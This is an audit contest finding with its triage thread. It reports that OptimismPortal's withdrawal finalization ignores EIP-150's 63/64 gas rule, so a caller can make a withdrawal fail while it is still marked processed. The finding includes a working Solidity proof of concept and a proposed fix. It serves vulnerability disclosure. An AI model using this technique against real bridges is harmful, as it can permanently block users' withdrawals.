Barichek - Incorrect withdrawal finalization due to EIP-150 logic

[github-actions[bot]]

Barichek

medium

Incorrect withdrawal finalization due to EIP-150 logic

Summary

It is possible to pass incorrect gas to the withdrawal transaction execution and force fail it with no possibility of a second attempt of execution (although in fact, the transaction with the specified amount of gas will not revert).

Vulnerability Detail

The finalizeWithdrawalTransaction function of OptimismPortal makes an external call to the withdrawal target contract and passes the required amount of gas in the following manner:

...

// We want to maintain the property that the amount of gas supplied to the call to the
// target contract is at least the gas limit specified by the user. We can do this by
// enforcing that, at this point in time, we still have gaslimit + buffer gas available.
require(
    gasleft() >= _tx.gasLimit + FINALIZE_GAS_BUFFER,
    "OptimismPortal: insufficient gas to finalize withdrawal"
);

...

// Trigger the call to the target contract. We use SafeCall because we don't
// care about the returndata and we don't want target contracts to be able to force this
// call to run out of gas via a returndata bomb.
bool success = SafeCall.call(
    _tx.target,
    gasleft() - FINALIZE_GAS_BUFFER,
    _tx.value,
    _tx.data
);

...

According to the EIP-150 call can consume at most 63/64 of parent calls' gas. That means that in case gasleft() * 63 / 64 in the moment of making the call using the SafeCall library is smaller than gasleft() - FINALIZE_GAS_BUFFER the amount of gas that will be passed to the external call can be incorrect. This can lead to failing the withdrawal call and marking such withdrawal tx as processed (with no possibility of reexecution).

To better understand the scenario please check the PoC subsection. There is used a simplified version of the OptimismPortal contract (but with no modifications that have any significant effect on the described problem). As the target of the withdrawal call there used a CustomBridge contract, which is also simplified -- instead of processing real logic it just burns some amount of gas that can be practically used during a such call (specifically in the PoC it burns GAS_TO_BE_USED_FOR_WITHDRAWALS = 3000000 gas). For the simplification and visibility of the withdrawal call result, there is used stateMarker public variable.

The PoC contract shows how exactly the described scenario can happen (here it is the description of the logic of the PoC contract constructor):

• the first try to process the withdrawal transaction with TO_USE_AS_SAFE_GAS_LIMIT gasLimit reverts (which is checked in the require(customBridge.stateMarker() == 0); statement);
• during the such call of the finalizeWithdrawalTransaction function withdrawal transaction was marked as processed (which is enforced in the require(optimismPortalSimplified.finalizedWithdrawals(Hashing.hashWithdrawal(tx))); statement);
• in practice call of the processCrossChainTransaction function on the target contract should not fail (which is enforced by checking the stateMarker variable value after the "naive" call of this function with mentioned gas limit).

Please note, that for the call through the OptimismPortalSimplified contract, there is used gasLimit value with the additional overhead ADDITIONAL_OVERHEAD_TO_COVER_EXTRA_EXPENSES = 3000, so this is not just a "small error in gas calculations due to additional logic". Also, you can check the debug trace to make sure of it.

PoC

pragma solidity 0.8.15;

contract CustomBridge {
    uint256 public stateMarker;

    uint256 constant GAS_TO_BE_USED_FOR_WITHDRAWALS = 3000000;
    function _withdrawToUsersCustomBridgeFunds(bytes calldata _withdrawalData) internal {
        uint256 g = gasleft();
        uint256 i = 0;
        while (g - gasleft() < GAS_TO_BE_USED_FOR_WITHDRAWALS){
            i++;
        }
    }

    OptimismPortalSimplified immutable optimismPortalSimplified;

    constructor(OptimismPortalSimplified _optimismPortalSimplified) {
        optimismPortalSimplified = _optimismPortalSimplified;
    }

    function processCrossChainTransaction(bytes calldata _withdrawalData, uint256 _stateMarker) external {
        _withdrawToUsersCustomBridgeFunds(_withdrawalData);

        stateMarker = _stateMarker;
    }
}

library SafeCall {
    function call(
        address _target,
        uint256 _gas,
        uint256 _value,
        bytes memory _calldata
    ) internal returns (bool) {
        bool _success;
        assembly {
            _success := call(
                _gas, // gas
                _target, // recipient
                _value, // ether value
                add(_calldata, 0x20), // inloc
                mload(_calldata), // inlen
                0, // outloc
                0 // outlen
            )
        }
        return _success;
    }
}

library Hashing
{
    function hashWithdrawal(OptimismPortalSimplified.WithdrawalTransaction memory _tx)
        internal
        pure
        returns (bytes32)
    {
        return
            keccak256(
                abi.encode(_tx.nonce, _tx.sender, _tx.target, _tx.value, _tx.gasLimit, _tx.data)
            );
    }
}

// Simplified code of the OptimismPortal
// Removed unnecessary (for this particular report) parts
contract OptimismPortalSimplified {
    struct WithdrawalTransaction {
        uint256 nonce;
        address sender;
        address target;
        uint256 value;
        uint256 gasLimit;
        bytes data;
    }

    address internal constant DEFAULT_L2_SENDER = 0x000000000000000000000000000000000000dEaD;

    uint256 internal constant FINALIZE_GAS_BUFFER = 20_000;

    address public l2Sender;

    mapping(bytes32 => bool) public finalizedWithdrawals;

    event WithdrawalFinalized(bytes32 indexed withdrawalHash, bool success);

    constructor() {
        l2Sender = DEFAULT_L2_SENDER;
    }

    function finalizeWithdrawalTransaction(WithdrawalTransaction memory _tx) external {
        // Make sure that the l2Sender has not yet been set. The l2Sender is set to a value other
        // than the default value when a withdrawal transaction is being finalized. This check is
        // a defacto reentrancy guard.
        require(
            l2Sender == DEFAULT_L2_SENDER,
            "OptimismPortal: can only trigger one withdrawal per transaction"
        );

        bytes32 withdrawalHash = Hashing.hashWithdrawal(_tx);

        // Check that this withdrawal has not already been finalized, this is replay protection.
        require(
            finalizedWithdrawals[withdrawalHash] == false,
            "OptimismPortal: withdrawal has already been finalized"
        );

        // Mark the withdrawal as finalized so it can't be replayed.
        finalizedWithdrawals[withdrawalHash] = true;

        // We want to maintain the property that the amount of gas supplied to the call to the
        // target contract is at least the gas limit specified by the user. We can do this by
        // enforcing that, at this point in time, we still have gaslimit + buffer gas available.
        require(
            gasleft() >= _tx.gasLimit + FINALIZE_GAS_BUFFER,
            "OptimismPortal: insufficient gas to finalize withdrawal"
        );

        // Set the l2Sender so contracts know who triggered this withdrawal on L2.
        l2Sender = _tx.sender;

        // Trigger the call to the target contract. We use SafeCall because we don't
        // care about the returndata and we don't want target contracts to be able to force this
        // call to run out of gas via a returndata bomb.
        bool success = SafeCall.call(
            _tx.target,
            gasleft() - FINALIZE_GAS_BUFFER,
            _tx.value,
            _tx.data
        );

        // Reset the l2Sender back to the default value.
        l2Sender = DEFAULT_L2_SENDER;

        // All withdrawals are immediately finalized. Replayability can
        // be achieved through contracts built on top of this contract
        emit WithdrawalFinalized(withdrawalHash, success);
    }
}

contract PoC {
    uint256 internal constant TO_USE_AS_SAFE_GAS_LIMIT = 3000000 + 30000;
    uint256 internal constant TO_USE_AS_INCORRECT_GAS_FOR_PROCESS_TRANSACTION = 3000000 + 80000;
    uint256 internal constant ADDITIONAL_OVERHEAD_TO_COVER_EXTRA_EXPENSES = 3000;

    constructor() {
        OptimismPortalSimplified optimismPortalSimplified = new OptimismPortalSimplified();
        CustomBridge customBridge = new CustomBridge(optimismPortalSimplified);

        require(gasleft() >= 10000000);
        require(customBridge.stateMarker() == 0);

        OptimismPortalSimplified.WithdrawalTransaction memory tx = OptimismPortalSimplified.WithdrawalTransaction({
            nonce: 0,
            sender: address(123),
            target: address(customBridge),
            value: 0,
            gasLimit: TO_USE_AS_SAFE_GAS_LIMIT + ADDITIONAL_OVERHEAD_TO_COVER_EXTRA_EXPENSES,
            data: abi.encodeWithSelector(CustomBridge.processCrossChainTransaction.selector, hex"abcd", 1)
        });
        optimismPortalSimplified.finalizeWithdrawalTransaction{gas: TO_USE_AS_INCORRECT_GAS_FOR_PROCESS_TRANSACTION}(tx);
        require(customBridge.stateMarker() == 0);
        require(optimismPortalSimplified.finalizedWithdrawals(Hashing.hashWithdrawal(tx)));

        customBridge.processCrossChainTransaction{gas: TO_USE_AS_SAFE_GAS_LIMIT}(hex"abcd", 1);
        require(customBridge.stateMarker() == 1);
    }
}

Impact

Possibility of passing incorrect gas to the withdrawal transaction execution and forcing fail of it with no possibility of a second attempt of execution (although in fact, the transaction with the specified amount of gas will not revert by nature). To perform such a transaction, the attacker does not need any additional access. Also, due to the specifics of eth_estimateGas logic, the user himself can execute the transaction, since the minimum amount of gas can be used at which the transaction is not reverted.

Code Snippet

• https://github.com/ethereum-optimism/optimism/blob/3f4b3c328153a8aa03611158b6984d624b17c1d9/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L308
• https://github.com/ethereum-optimism/optimism/blob/3f4b3c328153a8aa03611158b6984d624b17c1d9/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L313
• https://github.com/ethereum-optimism/optimism/blob/3f4b3c328153a8aa03611158b6984d624b17c1d9/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L326
• https://github.com/ethereum-optimism/optimism/blob/3f4b3c328153a8aa03611158b6984d624b17c1d9/packages/contracts-bedrock/contracts/libraries/SafeCall.sol#L17

Tool used

Manual Review, Remix IDE

Recommendation

Change the gas management logic to be compatible with EIP-150. You can use the following:

...

// Set the l2Sender so contracts know who triggered this withdrawal on L2.
l2Sender = _tx.sender;

// We want to maintain the property that the amount of gas supplied to the call to the
// target contract is at least the gas limit specified by the user. We can do this by
// enforcing that, at this point in time, we still have gaslimit + buffer gas available.
require(
    (gasleft() >= _tx.gasLimit + FINALIZE_GAS_BUFFER) && (gasleft() * 63 / 64 >= _tx.gasLimit),
    "OptimismPortal: insufficient gas to finalize withdrawal"
);

// Trigger the call to the target contract. We use SafeCall because we don't
// care about the returndata and we don't want target contracts to be able to force this
// call to run out of gas via a returndata bomb.
bool success = SafeCall.call(
    _tx.target,
    gasleft() - FINALIZE_GAS_BUFFER,
    _tx.value,
    _tx.data
);

// Reset the l2Sender back to the default value.
l2Sender = Constants.DEFAULT_L2_SENDER;

// All withdrawals are immediately finalized. Replayability can
// be achieved through contracts built on top of this contract
emit WithdrawalFinalized(withdrawalHash, success);

...

In this example, the require statement was done exactly before the external call because logic between them also can consume some gas and lead to an incorrect amount of gas passed to the call. Especially it is so in the cases when such logic will be changed during the upgrade of the OptimismPortal contract, as some projects launched on optimism may rely on the fact that it is using some constant amount of gas.

Duplicate of #96

[rcstanciu]

Comment from Optimism

---

Description: Incorrect withdrawal finalization due to EIP-150 logic

Reason: Duplicate of #096

Action: See comment on #096

[Barichek]

Escalate for 250 USDC

I think this report addresses both issues mentioned in #96 and #109. Although the primary focus is on the problem related to the incompatibility with the EIP-150 logic, the report also clearly describes the issue of gas consumption that occurs between the corresponding require check and call:

In this example, the require statement was done exactly before the external call because logic between them also can consume some gas and lead to an incorrect amount of gas passed to the call.

The report also provides an example of how this bug can be harmful even to a user who takes into account such additional gas expenses and sets the gas limit accordingly:

Especially it is so in the cases when such logic will be changed during the upgrade of the OptimismPortal contract, as some projects launched on optimism may rely on the fact that it is using some constant amount of gas.

Therefore, I kindly request that you consider accepting this report as one that addresses both problems, although it may only partially cover the second one.

[sherlock-admin]

Escalate for 250 USDC

I think this report addresses both issues mentioned in #96 and #109. Although the primary focus is on the problem related to the incompatibility with the EIP-150 logic, the report also clearly describes the issue of gas consumption that occurs between the corresponding require check and call:

In this example, the require statement was done exactly before the external call because logic between them also can consume some gas and lead to an incorrect amount of gas passed to the call.

The report also provides an example of how this bug can be harmful even to a user who takes into account such additional gas expenses and sets the gas limit accordingly:

Especially it is so in the cases when such logic will be changed during the upgrade of the OptimismPortal contract, as some projects launched on optimism may rely on the fact that it is using some constant amount of gas.

Therefore, I kindly request that you consider accepting this report as one that addresses both problems, although it may only partially cover the second one.

You've created a valid escalation for 250 USDC!

To remove the escalation from consideration: Delete your comment. To change the amount you've staked on this escalation: Edit your comment (do not create a new comment).

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[Evert0x]

Escalation rejected, although it touches the same parts of the code that 109 does, it's not clear that it is describing the same bug

[sherlock-admin]

Escalation rejected, although it touches the same parts of the code that 109 does, it's not clear that it is describing the same bug

This issue's escalations have been rejected!

Watsons who escalated this issue will have their escalation amount deducted from their next payout.